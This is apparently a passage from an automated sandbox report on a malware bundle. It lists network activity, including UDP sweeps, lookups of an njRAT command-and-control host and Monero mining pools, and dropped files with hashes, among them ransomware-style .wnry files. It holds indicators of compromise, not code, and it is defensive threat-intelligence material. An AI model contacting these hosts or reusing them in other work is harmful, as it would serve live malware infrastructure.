FR 87.98.177.233:6893 udp
FR 87.98.177.234:6893 udp
FR 87.98.177.235:6893 udp
FR 87.98.177.236:6893 udp
FR 87.98.177.237:6893 udp
FR 87.98.177.238:6893 udp
FR 87.98.177.239:6893 udp
FR 87.98.177.240:6893 udp
FR 87.98.177.241:6893 udp
FR 87.98.177.242:6893 udp
FR 87.98.177.243:6893 udp
FR 87.98.177.244:6893 udp
FR 87.98.177.245:6893 udp
FR 87.98.177.246:6893 udp
FR 87.98.177.247:6893 udp
FR 87.98.177.248:6893 udp
FR 87.98.177.249:6893 udp
FR 87.98.177.250:6893 udp
FR 87.98.177.251:6893 udp
FR 87.98.177.252:6893 udp
FR 87.98.177.253:6893 udp
FR 87.98.177.254:6893 udp
US 8.8.8.8:53 4.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 5.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 6.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 7.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 8.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 9.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 10.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 11.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 12.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 13.176.98.87.in-addr.arpa udp
FR 87.98.178.255:6893 udp
FR 87.98.179.0:6893 udp
FR 87.98.179.1:6893 udp
FR 87.98.179.2:6893 udp
FR 87.98.179.3:6893 udp
FR 87.98.179.4:6893 udp
FR 87.98.179.5:6893 udp
FR 87.98.179.6:6893 udp
FR 87.98.179.7:6893 udp
FR 87.98.179.8:6893 udp
FR 87.98.179.9:6893 udp
FR 87.98.179.10:6893 udp
FR 87.98.179.11:6893 udp
FR 87.98.179.12:6893 udp
FR 87.98.179.13:6893 udp
FR 87.98.179.14:6893 udp
FR 87.98.179.15:6893 udp
FR 87.98.179.16:6893 udp
FR 87.98.179.17:6893 udp
FR 87.98.179.18:6893 udp
FR 87.98.179.19:6893 udp
FR 87.98.179.20:6893 udp
FR 87.98.179.21:6893 udp
FR 87.98.179.22:6893 udp
FR 87.98.179.23:6893 udp
FR 87.98.179.24:6893 udp
FR 87.98.179.25:6893 udp
FR 87.98.179.26:6893 udp
FR 87.98.179.27:6893 udp
FR 87.98.179.28:6893 udp
FR 87.98.179.29:6893 udp
FR 87.98.179.30:6893 udp
FR 87.98.179.31:6893 udp
FR 87.98.179.32:6893 udp
FR 87.98.179.33:6893 udp
FR 87.98.179.34:6893 udp
FR 87.98.179.35:6893 udp
FR 87.98.179.36:6893 udp
FR 87.98.179.37:6893 udp
FR 87.98.179.38:6893 udp
FR 87.98.179.39:6893 udp
FR 87.98.179.40:6893 udp
FR 87.98.179.41:6893 udp
FR 87.98.179.42:6893 udp
FR 87.98.179.43:6893 udp
FR 87.98.179.44:6893 udp
FR 87.98.179.45:6893 udp
FR 87.98.179.46:6893 udp
FR 87.98.179.47:6893 udp
FR 87.98.179.48:6893 udp
FR 87.98.179.49:6893 udp
FR 87.98.179.50:6893 udp
FR 87.98.179.51:6893 udp
FR 87.98.179.52:6893 udp
FR 87.98.179.53:6893 udp
FR 87.98.179.54:6893 udp
FR 87.98.179.55:6893 udp
FR 87.98.179.56:6893 udp
FR 87.98.179.57:6893 udp
FR 87.98.179.58:6893 udp
FR 87.98.179.59:6893 udp
FR 87.98.179.60:6893 udp
FR 87.98.179.61:6893 udp
FR 87.98.179.62:6893 udp
FR 87.98.179.63:6893 udp
FR 87.98.179.64:6893 udp
FR 87.98.179.65:6893 udp
FR 87.98.179.66:6893 udp
FR 87.98.179.67:6893 udp
FR 87.98.179.68:6893 udp
FR 87.98.179.69:6893 udp
FR 87.98.179.70:6893 udp
FR 87.98.179.71:6893 udp
FR 87.98.179.72:6893 udp
FR 87.98.179.73:6893 udp
FR 87.98.179.74:6893 udp
FR 87.98.179.75:6893 udp
FR 87.98.179.76:6893 udp
FR 87.98.179.77:6893 udp
FR 87.98.179.78:6893 udp
FR 87.98.179.79:6893 udp
FR 87.98.179.80:6893 udp
FR 87.98.179.81:6893 udp
FR 87.98.179.82:6893 udp
FR 87.98.179.83:6893 udp
FR 87.98.179.84:6893 udp
FR 87.98.179.85:6893 udp
FR 87.98.179.86:6893 udp
FR 87.98.179.87:6893 udp
FR 87.98.179.88:6893 udp
FR 87.98.179.89:6893 udp
FR 87.98.179.90:6893 udp
FR 87.98.179.91:6893 udp
FR 87.98.179.92:6893 udp
FR 87.98.179.93:6893 udp
FR 87.98.179.94:6893 udp
FR 87.98.179.95:6893 udp
FR 87.98.179.96:6893 udp
FR 87.98.179.97:6893 udp
FR 87.98.179.98:6893 udp
FR 87.98.179.99:6893 udp
FR 87.98.179.100:6893 udp
FR 87.98.179.101:6893 udp
FR 87.98.179.102:6893 udp
FR 87.98.179.103:6893 udp
FR 87.98.179.104:6893 udp
FR 87.98.179.105:6893 udp
FR 87.98.179.106:6893 udp
FR 87.98.179.107:6893 udp
FR 87.98.179.108:6893 udp
FR 87.98.179.109:6893 udp
FR 87.98.179.110:6893 udp
FR 87.98.179.111:6893 udp
FR 87.98.179.112:6893 udp
FR 87.98.179.113:6893 udp
FR 87.98.179.114:6893 udp
FR 87.98.179.115:6893 udp
FR 87.98.179.116:6893 udp
FR 87.98.179.117:6893 udp
FR 87.98.179.118:6893 udp
FR 87.98.179.119:6893 udp
FR 87.98.179.120:6893 udp
FR 87.98.179.121:6893 udp
FR 87.98.179.122:6893 udp
FR 87.98.179.123:6893 udp
FR 87.98.179.124:6893 udp
FR 87.98.179.125:6893 udp
FR 87.98.179.126:6893 udp
FR 87.98.179.127:6893 udp
FR 87.98.179.128:6893 udp
FR 87.98.179.129:6893 udp
FR 87.98.179.130:6893 udp
FR 87.98.179.131:6893 udp
FR 87.98.179.132:6893 udp
FR 87.98.179.133:6893 udp
FR 87.98.179.134:6893 udp
FR 87.98.179.135:6893 udp
FR 87.98.179.136:6893 udp
FR 87.98.179.137:6893 udp
FR 87.98.179.138:6893 udp
FR 87.98.179.139:6893 udp
FR 87.98.179.140:6893 udp
FR 87.98.179.141:6893 udp
FR 87.98.179.142:6893 udp
FR 87.98.179.143:6893 udp
FR 87.98.179.144:6893 udp
FR 87.98.179.145:6893 udp
FR 87.98.179.146:6893 udp
FR 87.98.179.147:6893 udp
FR 87.98.179.148:6893 udp
FR 87.98.179.149:6893 udp
FR 87.98.179.150:6893 udp
FR 87.98.179.151:6893 udp
FR 87.98.179.152:6893 udp
FR 87.98.179.153:6893 udp
FR 87.98.179.154:6893 udp
FR 87.98.179.155:6893 udp
FR 87.98.179.156:6893 udp
FR 87.98.179.157:6893 udp
FR 87.98.179.158:6893 udp
FR 87.98.179.159:6893 udp
FR 87.98.179.160:6893 udp
FR 87.98.179.161:6893 udp
FR 87.98.179.162:6893 udp
FR 87.98.179.163:6893 udp
FR 87.98.179.164:6893 udp
FR 87.98.179.165:6893 udp
FR 87.98.179.166:6893 udp
FR 87.98.179.167:6893 udp
FR 87.98.179.168:6893 udp
FR 87.98.179.169:6893 udp
FR 87.98.179.170:6893 udp
FR 87.98.179.171:6893 udp
FR 87.98.179.172:6893 udp
FR 87.98.179.173:6893 udp
FR 87.98.179.174:6893 udp
FR 87.98.179.175:6893 udp
FR 87.98.179.176:6893 udp
FR 87.98.179.177:6893 udp
FR 87.98.179.178:6893 udp
FR 87.98.179.179:6893 udp
FR 87.98.179.180:6893 udp
FR 87.98.179.181:6893 udp
FR 87.98.179.182:6893 udp
FR 87.98.179.183:6893 udp
FR 87.98.179.184:6893 udp
FR 87.98.179.185:6893 udp
FR 87.98.179.186:6893 udp
FR 87.98.179.187:6893 udp
FR 87.98.179.188:6893 udp
FR 87.98.179.189:6893 udp
FR 87.98.179.190:6893 udp
FR 87.98.179.191:6893 udp
FR 87.98.179.192:6893 udp
FR 87.98.179.193:6893 udp
FR 87.98.179.194:6893 udp
FR 87.98.179.195:6893 udp
FR 87.98.179.196:6893 udp
FR 87.98.179.197:6893 udp
FR 87.98.179.198:6893 udp
FR 87.98.179.199:6893 udp
FR 87.98.179.200:6893 udp
FR 87.98.179.201:6893 udp
FR 87.98.179.202:6893 udp
FR 87.98.179.203:6893 udp
FR 87.98.179.204:6893 udp
FR 87.98.179.205:6893 udp
FR 87.98.179.206:6893 udp
FR 87.98.179.207:6893 udp
FR 87.98.179.208:6893 udp
FR 87.98.179.209:6893 udp
FR 87.98.179.210:6893 udp
FR 87.98.179.211:6893 udp
FR 87.98.179.212:6893 udp
FR 87.98.179.213:6893 udp
FR 87.98.179.214:6893 udp
FR 87.98.179.215:6893 udp
FR 87.98.179.216:6893 udp
FR 87.98.179.217:6893 udp
FR 87.98.179.218:6893 udp
FR 87.98.179.219:6893 udp
FR 87.98.179.220:6893 udp
FR 87.98.179.221:6893 udp
FR 87.98.179.222:6893 udp
FR 87.98.179.223:6893 udp
FR 87.98.179.224:6893 udp
FR 87.98.179.225:6893 udp
FR 87.98.179.226:6893 udp
FR 87.98.179.227:6893 udp
FR 87.98.179.228:6893 udp
FR 87.98.179.229:6893 udp
FR 87.98.179.230:6893 udp
FR 87.98.179.231:6893 udp
FR 87.98.179.232:6893 udp
FR 87.98.179.233:6893 udp
FR 87.98.179.234:6893 udp
FR 87.98.179.235:6893 udp
FR 87.98.179.236:6893 udp
FR 87.98.179.237:6893 udp
FR 87.98.179.238:6893 udp
FR 87.98.179.239:6893 udp
FR 87.98.179.240:6893 udp
FR 87.98.179.241:6893 udp
FR 87.98.179.242:6893 udp
FR 87.98.179.243:6893 udp
FR 87.98.179.244:6893 udp
FR 87.98.179.245:6893 udp
FR 87.98.179.246:6893 udp
FR 87.98.179.247:6893 udp
FR 87.98.179.248:6893 udp
FR 87.98.179.249:6893 udp
FR 87.98.179.250:6893 udp
FR 87.98.179.251:6893 udp
FR 87.98.179.252:6893 udp
FR 87.98.179.253:6893 udp
FR 87.98.179.254:6893 udp
US 8.8.8.8:53 115.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 116.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 117.176.98.87.in-addr.arpa udp
RU 85.209.11.204:80 85.209.11.204 tcp
RU 91.218.114.32:80 tcp
US 8.8.8.8:53 118.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 119.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 120.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 121.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 122.176.98.87.in-addr.arpa udp
RU 185.172.128.121:80 tcp
RU 91.218.114.4:80 tcp
RU 91.218.114.4:80 91.218.114.4 tcp
RU 91.218.114.11:80 tcp
RU 91.218.114.32:80 tcp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
RU 91.218.114.25:80 91.218.114.25 tcp
US 20.114.59.183:443 tcp
N/A 192.168.5.128:80 tcp
RU 92.63.107.12:80 tcp
RU 92.63.107.12:80 tcp
US 20.114.59.183:443 tcp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
US 8.8.8.8:53 15.144.14.145.in-addr.arpa udp
RU 91.218.114.31:80 tcp
RU 91.218.114.32:80 tcp
RU 91.218.114.38:80 tcp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
RU 91.218.114.38:80 tcp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
US 104.21.23.184:80 tcp
US 172.67.138.35:443 still.topteamlife.com tcp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
GB 193.117.208.148:7800 tcp
ES 37.32.98.129:80 tcp
IE 20.223.35.26:443 tcp
US 8.8.8.8:53 udp
RU 185.172.128.11:80 185.172.128.11 tcp
RU 91.218.114.77:80 tcp
US 8.8.8.8:53 fr-zephyr.miningocean.org udp
US 8.8.8.8:53 11.128.172.185.in-addr.arpa udp
BE 188.165.76.243:5342 fr-zephyr.miningocean.org tcp
RU 91.218.114.38:80 tcp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
RU 185.172.128.113:80 185.172.128.113 tcp
US 8.8.8.8:53 113.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
RU 91.218.114.77:80 tcp
RU 91.218.114.25:80 tcp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
RU 91.218.114.77:80 tcp
US 8.8.8.8:53 xmr.2miners.com udp
US 8.8.8.8:53 DanilWhiteNjrat-57320.portmap.host udp
US 8.8.8.8:53 rentry.org udp
FR 164.132.58.105:443 rentry.org tcp
US 8.8.8.8:53 105.58.132.164.in-addr.arpa udp
DE 162.19.139.184:12222 xmr.2miners.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\RarSFX0\wecker.txt.bat

MD5 6a83b03054f53cb002fdca262b76b102
SHA1 1bbafe19ae5bcdd4f3710f13d06332128a5d54f7
SHA256 7952248cb4ec97bc0d2ab3b51c126c7b0704a7f9d42bddf6adcb04b5657c7a4e
SHA512 fa8d907bb187f32de1cfbe1b092982072632456fd429e4dd92f62e482f2ad23e602cf845a2fd655d0e4b8314c1d7a086dc9545d4d82996afbccb364ddc1e9eae

C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe

MD5 2a94f3960c58c6e70826495f76d00b85
SHA1 e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512 fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f

C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe

MD5 90f76b334b765dd3d2f7e76cdadcfb4f
SHA1 7141fd3084f8a4c783cb28e31fb88c654b26e153
SHA256 19cea7b56e68d87bc04db1e67ac6f668dd2b45fb6c448d8e5fcfa7ffdd402675
SHA512 d5091a584d10ebb2a23efcabcf47798cbb18c5f7eee7d8471e8447b0f0aa543065036ae79178ece18f89c64c35548287dcb07c90f4f333a94034001b0226ed32

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

MD5 8ae7d2d450441a8125b006c672ba3c74
SHA1 48949d009cb779544aaa34b4010eccefb817e2e0
SHA256 b87acbacfeb297e75153a14f5a502455e551a303dcd447d37e6b531ac0ff6c7d
SHA512 5794daa2051daceea32d5cae57b52816efae218515b05c47ab7fe97aa682bd277b777ff947516e75451713a7535272436679634847452e4ab6d82d782ee70365

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

MD5 93c4fe82e1efd7b424831be80d86abc2
SHA1 e067d9a29ee45406cc5f6582528c802816ec7ccd
SHA256 8e51f0271d4b65018d7afd6f7708c83d93e08cf8f205998b0db5620897bd6255
SHA512 8765cc0e2d8f927221b45f2e812ec6d48fc62e005637b5bbb62e7f902359986716c2c8d5d6ed005fd81a060a3c45322b9c4ea0243ec1beca7a5f07ddaa9cca91

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

MD5 605f373410370ac85cd84f3a688dd80c
SHA1 e84c6865a0cec32a2e2f8c8433eba399c303f307
SHA256 6998a6884baa6f44cf8e3aa3454639b450d1de860b4d907118aaaba582a37aff
SHA512 891578e8d425c1a1074970d829426e495abc0f52207652550d8b6832e0ad8c35c3a2e0d37a689d8fb7877506b9dd365928f4a060d24a992fb4bb545d7b3db5b8

C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe

MD5 a8b8b90c0cf26514a3882155f72d80bd
SHA1 75679e54563b5e5eacf6c926ac4ead1bcc19344f
SHA256 4fe94f6567af0c38ee6f0f5a05d36286c0607552ea97166a56c4f647e9bf2452
SHA512 88708b20357f1d46957d56d80ac10479cffad72d6bb0268383d360e8904f341c01542b9bbe121b024ef6d6850a1ea4494e077ff124bc9201ae141c46ab1359a4

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_finnish.wnry

MD5 35c2f97eea8819b1caebd23fee732d8f
SHA1 e354d1cc43d6a39d9732adea5d3b0f57284255d2
SHA256 1adfee058b98206cb4fbe1a46d3ed62a11e1dee2c7ff521c1eef7c706e6a700e
SHA512 908149a6f5238fcccd86f7c374986d486590a0991ef5243f0cd9e63cc8e208158a9a812665233b09c3a478233d30f21e3d355b94f36b83644795556f147345bf

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

MD5 0ce04f8c00ca44d8ef227d2d55f23ccb
SHA1 e9f900090621150883f4c24ad118ae1218eb05ad
SHA256 f4a2453f0f733f542ac356e0c8a54a3d7a90437445e6e181b16ecdf230040263
SHA512 aa028d03cd1b00c874de3ba20690292168d2d63573c3fca9794a8b0180427c1d1ca2e478f070b25b75cfc1d53f3b2bf8986d28583c685bb552b3e4dc79b01c7f

memory/856-97-0x0000000000400000-0x00000000005DE000-memory.dmp

memory/1976-99-0x0000000000400000-0x00000000004D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe

MD5 e3f5d59466716f5f94708226bc026551
SHA1 0e580bae1c8e467c5f9015abb7a608aba388112f
SHA256 56083172d5e3b5352421bb20aedcf3ac7e13274ade35948ad764357c77ff96f8
SHA512 e42d5e2d4f10736bf023ddc6978e2d15f993cb1184ccfacf6bc0d293423ee76d34b4bb0f1005604a9705f7df71bcf281dd79034e22a2952a761acb1334557575

C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe

MD5 b98649a9eeef14cd43b7f6d8e3a82858
SHA1 2cd9ce7b2d17d8d2e5fb60b93d676ccb7b2aa4ac
SHA256 ffb597873c3446cd917e48839c0f59f7bb8af512cb46063d0b2e65d9ffcbc4d8
SHA512 6b1096d6daad6a63320d1e5e272e84af07aa07efc3bbc99868407daf3a7309e222e25eeaa305338dd6143b664007a8f305aecf752e68e0e22edb97d9c020d94b

C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe

MD5 8fa017636a2ee91b56fa2d7a5cb9d9d4
SHA1 96574dee2c18c24cfc56d13dc3f9df5e4516e923
SHA256 9da240e47ed0a69b80f0681bbe4adea12619abf2d9aa5981e190fba33059892a
SHA512 4719a811c9bf1844343976f6f21e866f9e3eaea90aaa462fc8fe2cfe9c568a518838825f6a1a6a611d89acc259978d64885f697c296cc2c29beee48e9a10d90a

memory/4612-116-0x0000000000EC0000-0x0000000000ED0000-memory.dmp

memory/2568-117-0x0000000000400000-0x00000000004CC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe

MD5 b04c69a319b587834f14229889221b48
SHA1 377d8446dd361e7665975f9a9be907d85953a696
SHA256 5872a6a17a5c77ef7e00e1d7ba6c04f9f705daa7264b4e1cb16ca85f1288f26f
SHA512 748fba9289f6b629be31f0e8f810f6cd1b747e355f1e528379612bd233286148091786541587f8c1cd0b8794a1b3fceccaa20b6a73c641d2682f934aa658fdbf

memory/1976-123-0x0000000000400000-0x00000000004D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-0CISE.tmp\ska2pwej.aeh.tmp

MD5 c12c68d97b2a84e9b5f2b2c09966fdd1
SHA1 7106ef260ce57cf88a1418849a55b59eb1beacf7
SHA256 27b3383a3cc66ba4c505a02e6558016928224d7024b01deb805a622a597dcb42
SHA512 a95d846ee1a25a423758bad73bea86d20d5725b8f74f474e2a5dd54a8016138f79a7f163fde7050911e05fc2e89080e2509d99bc3989dc82765ece962c549718

memory/4612-125-0x0000000070F50000-0x0000000071501000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\6467.tmp\6468.tmp\6469.bat

MD5 76688da2afa9352238f6016e6be4cb97
SHA1 36fd1260f078209c83e49e7daaee3a635167a60f
SHA256 e365685ea938b12790a195383434d825f46c41c80469ce11b9765305780bff7a
SHA512 34659bf4de5c2cbd7cdc7309a48880ac2e1f19e0a4da0c1d4cc45658a81f9f4e7a9293be48e853de812a6b94e1caa3356a715a1a0c14d37b7ae99ba5888bd1df

C:\Users\Admin\AppData\Local\Temp\is-SQRN9.tmp\x2s443bc.cs1.tmp

MD5 d469d5c5a5788d4120737ef0ee3a808b
SHA1 7c8f676b6d28429720d6b8b5f8681226372a50c1
SHA256 3eb4377a01a68a6731102f8272bc782a0c98b657c35e9e40e7012160f439c139
SHA512 9f31c9e83f16f072df0aedd3a78def28fd7f9a2361fdf5b4379b145ffca8013b44f413706e76fe134512985f2a16cbf3e92f392acbc88c1365b8b102aafc7b17

C:\Users\Admin\AppData\Local\Temp\RarSFX0\u.wnry

MD5 340bee27bd67bda07ad4d55cf7f41e58
SHA1 00a2c3d6a664534149df19d6967bb99b40e48559
SHA256 4cdb73f0bdcd512dbca7a29e41f853399873ad02f618a1a1d952e531b5d4593f
SHA512 96796874ae6430f4c1029ebdfb6268330380ee82437f854627619ea82b34e246c2a87107ae96555f1d0ddee6ddd776392c51b2ae6eb8b07e697e8ef810adb3fe

memory/1240-179-0x00000000007F0000-0x00000000007F1000-memory.dmp

memory/3960-177-0x00000000009F0000-0x00000000009F1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskse.exe

MD5 8495400f199ac77853c53b5a3f278f3e
SHA1 be5d6279874da315e3080b06083757aad9b32c23
SHA256 2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d
SHA512 0669c524a295a049fa4629b26f89788b2a74e1840bcdc50e093a0bd40830dd1279c9597937301c0072db6ece70adee4ace67c3c8a4fb2db6deafd8f1e887abe4

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

MD5 4fef5e34143e646dbf9907c4374276f5
SHA1 47a9ad4125b6bd7c55e4e7da251e23f089407b8f
SHA256 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79
SHA512 4550dd1787deb353ebd28363dd2cdccca861f6a5d9358120fa6aa23baa478b2a9eb43cef5e3f6426f708a0753491710ac05483fac4a046c26bec4234122434d5

C:\Users\Admin\AppData\Local\Temp\RarSFX0\t.wnry

MD5 5dcaac857e695a65f5c3ef1441a73a8f
SHA1 7b10aaeee05e7a1efb43d9f837e9356ad55c07dd
SHA256 97ebce49b14c46bebc9ec2448d00e1e397123b256e2be9eba5140688e7bc0ae6
SHA512 06eb5e49d19b71a99770d1b11a5bb64a54bf3352f36e39a153469e54205075c203b08128dc2317259db206ab5323bdd93aaa252a066f57fb5c52ff28deedb5e2

C:\Users\Admin\AppData\Local\Temp\RarSFX0\s.wnry

MD5 d81d7b754c0e304a0de453077ead997c
SHA1 7772f023cbf34dbe7159fa1258fbfb02d52c3bfe
SHA256 a56c1a72500e8383ad6e54dcf6a5d0ea68f42d6b1a94ec0cc2977f2846e00810
SHA512 a53e071be4c2a22e08fd3d6ba23f3d2d3981b710e0c60b256dd8b7d7574abf68c7e19c79eafa8f6b1a46f0cba4e6cad6f1cb428f7e7704fda9178566a6c27526

C:\Users\Admin\AppData\Local\Temp\RarSFX0\r.wnry

MD5 3e0020fc529b1c2a061016dd2469ba96
SHA1 c3a91c22b63f6fe709e7c29cafb29a2ee83e6ade
SHA256 402751fa49e0cb68fe052cb3db87b05e71c1d950984d339940cf6b29409f2a7c
SHA512 5ca3c134201ed39d96d72911c0498bae6f98701513fd7f1dc8512819b673f0ea580510fa94ed9413ccc73da18b39903772a7cbfa3478176181cee68c896e14cf

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_vietnamese.wnry

MD5 4351ce363870364c520e14b7b0a10724
SHA1 59cf049a831c3410e73f92ef1c709bd0c5b276fd
SHA256 9111602cf03a66731f28c930313205d707e9580a5f78289d1bf2ddc7924921b1
SHA512 645d5ea7b49bc559c205a41571d083d172647bb06c64f10346fee4cca7024df5b78e6b7ea2bddd0e130dcc9379c7d8785e78124b53a22d2465336a4770b05bd2

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_turkish.wnry

MD5 531ba6b1a5460fc9446946f91cc8c94b
SHA1 cc56978681bd546fd82d87926b5d9905c92a5803
SHA256 6db650836d64350bbde2ab324407b8e474fc041098c41ecac6fd77d632a36415
SHA512 ef25c3cf4343df85954114f59933c7cc8107266c8bcac3b5ea7718eb74dbee8ca8a02da39057e6ef26b64f1dfccd720dd3bf473f5ae340ba56941e87d6b796c9

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_swedish.wnry

MD5 c7a19984eb9f37198652eaf2fd1ee25c
SHA1 06eafed025cf8c4d76966bf382ab0c5e1bd6a0ae
SHA256 146f61db72297c9c0facffd560487f8d6a2846ecec92ecc7db19c8d618dbc3a4
SHA512 43dd159f9c2eac147cbff1dda83f6a83dd0c59d2d7acac35ba8b407a04ec9a1110a6a8737535d060d100ede1cb75078cf742c383948c9d4037ef459d150f6020

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_spanish.wnry

MD5 8d61648d34cba8ae9d1e2a219019add1
SHA1 2091e42fc17a0cc2f235650f7aad87abf8ba22c2
SHA256 72f20024b2f69b45a1391f0a6474e9f6349625ce329f5444aec7401fe31f8de1
SHA512 68489c33ba89edfe2e3aebaacf8ef848d2ea88dcbef9609c258662605e02d12cfa4ffdc1d266fc5878488e296d2848b2cb0bbd45f1e86ef959bab6162d284079

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_slovak.wnry

MD5 c911aba4ab1da6c28cf86338ab2ab6cc
SHA1 fee0fd58b8efe76077620d8abc7500dbfef7c5b0
SHA256 e64178e339c8e10eac17a236a67b892d0447eb67b1dcd149763dad6fd9f72729
SHA512 3491ed285a091a123a1a6d61aafbb8d5621ccc9e045a237a2f9c2cf6049e7420eb96ef30fdcea856b50454436e2ec468770f8d585752d73fafd676c4ef5e800a

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_russian.wnry

MD5 452615db2336d60af7e2057481e4cab5
SHA1 442e31f6556b3d7de6eb85fbac3d2957b7f5eac6
SHA256 02932052fafe97e6acaaf9f391738a3a826f5434b1a013abbfa7a6c1ade1e078
SHA512 7613dc329abe7a3f32164c9a6b660f209a84b774ab9c008bf6503c76255b30ea9a743a6dc49a8de8df0bcb9aea5a33f7408ba27848d9562583ff51991910911f

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_romanian.wnry

MD5 313e0ececd24f4fa1504118a11bc7986
SHA1 e1b9ae804c7fb1d27f39db18dc0647bb04e75e9d
SHA256 70c0f32ed379ae899e5ac975e20bbbacd295cf7cd50c36174d2602420c770ac1
SHA512 c7500363c61baf8b77fce796d750f8f5e6886ff0a10f81c3240ea3ad4e5f101b597490dea8ab6bd9193457d35d8fd579fce1b88a1c8d85ebe96c66d909630730

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_portuguese.wnry

MD5 fa948f7d8dfb21ceddd6794f2d56b44f
SHA1 ca915fbe020caa88dd776d89632d7866f660fc7a
SHA256 bd9f4b3aedf4f81f37ec0a028aabcb0e9a900e6b4de04e9271c8db81432e2a66
SHA512 0d211bfb0ae953081dca00cd07f8c908c174fd6c47a8001fadc614203f0e55d9fbb7fa9b87c735d57101341ab36af443918ee00737ed4c19ace0a2b85497f41a

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_polish.wnry

MD5 e79d7f2833a9c2e2553c7fe04a1b63f4
SHA1 3d9f56d2381b8fe16042aa7c4feb1b33f2baebff
SHA256 519ad66009a6c127400c6c09e079903223bd82ecc18ad71b8e5cd79f5f9c053e
SHA512 e0159c753491cac7606a7250f332e87bc6b14876bc7a1cf5625fa56ab4f09c485f7b231dd52e4ff0f5f3c29862afb1124c0efd0741613eb97a83cbe2668af5de

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_norwegian.wnry

MD5 fd577328f088b93b205c9e8a265e4f33
SHA1 151291a0dc13e2a55f96bf7b692e5032ce49b78d
SHA256 b60ab4ac32c523d80f3d6ad9079d85eb22552ff3967bfd8dd430627e83f34c1a
SHA512 57e03b2c5db714e1e7c0227179adbb45e9836359d0207dfc13806eaa66fca86fbf9f50128511ef1db1fbc91b10983775142ce28d56a73a8e4cf359e18313fbb7

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_latvian.wnry

MD5 c33afb4ecc04ee1bcc6975bea49abe40
SHA1 fbea4f170507cde02b839527ef50b7ec74b4821f
SHA256 a0356696877f2d94d645ae2df6ce6b370bd5c0d6db3d36def44e714525de0536
SHA512 0d435f0836f61a5ff55b78c02fa47b191e5807a79d8a6e991f3115743df2141b3db42ba8bdad9ad259e12f5800828e9e72d7c94a6a5259312a447d669b03ec44

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_korean.wnry

MD5 3182ceb424d9e5d7fd835782a53f5ae4
SHA1 6b70320e18e8017303a594e792cb6734e1451faf
SHA256 95772746a8d71dadf2c9570704bc48c56ca42f56e29b7a843a2494130c4a4c41
SHA512 3a5b175331642451ae82e0b522f5650c0b88b6930b140f188f286207caf9c7de9d466e370d43a53f30cd7ea32e90a7bb44a1240f1e408284c40f442f838348bf

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_japanese.wnry

MD5 9b7fd697b340aa182b2c3357ae1694ad
SHA1 936a4657306edbac1b9a7f4c051cec346d19a888
SHA256 e54a7623a7e4cf2ec7c00c682a134ab1100a8180780e65784b2165cc672afd73
SHA512 df1f06ad23fd8489bf9f1f704990722b23389689700a870b46a0c53b671a4d1c4904c56cee2ccb3646ff1261bf62127348d7ca5b589d5f5cdbee0e2d2eda7ecc

C:\Users\Admin\AppData\Local\Temp\RarSFX0\msg\m_italian.wnry

MD5 30a200f78498990095b36f574b6e8690
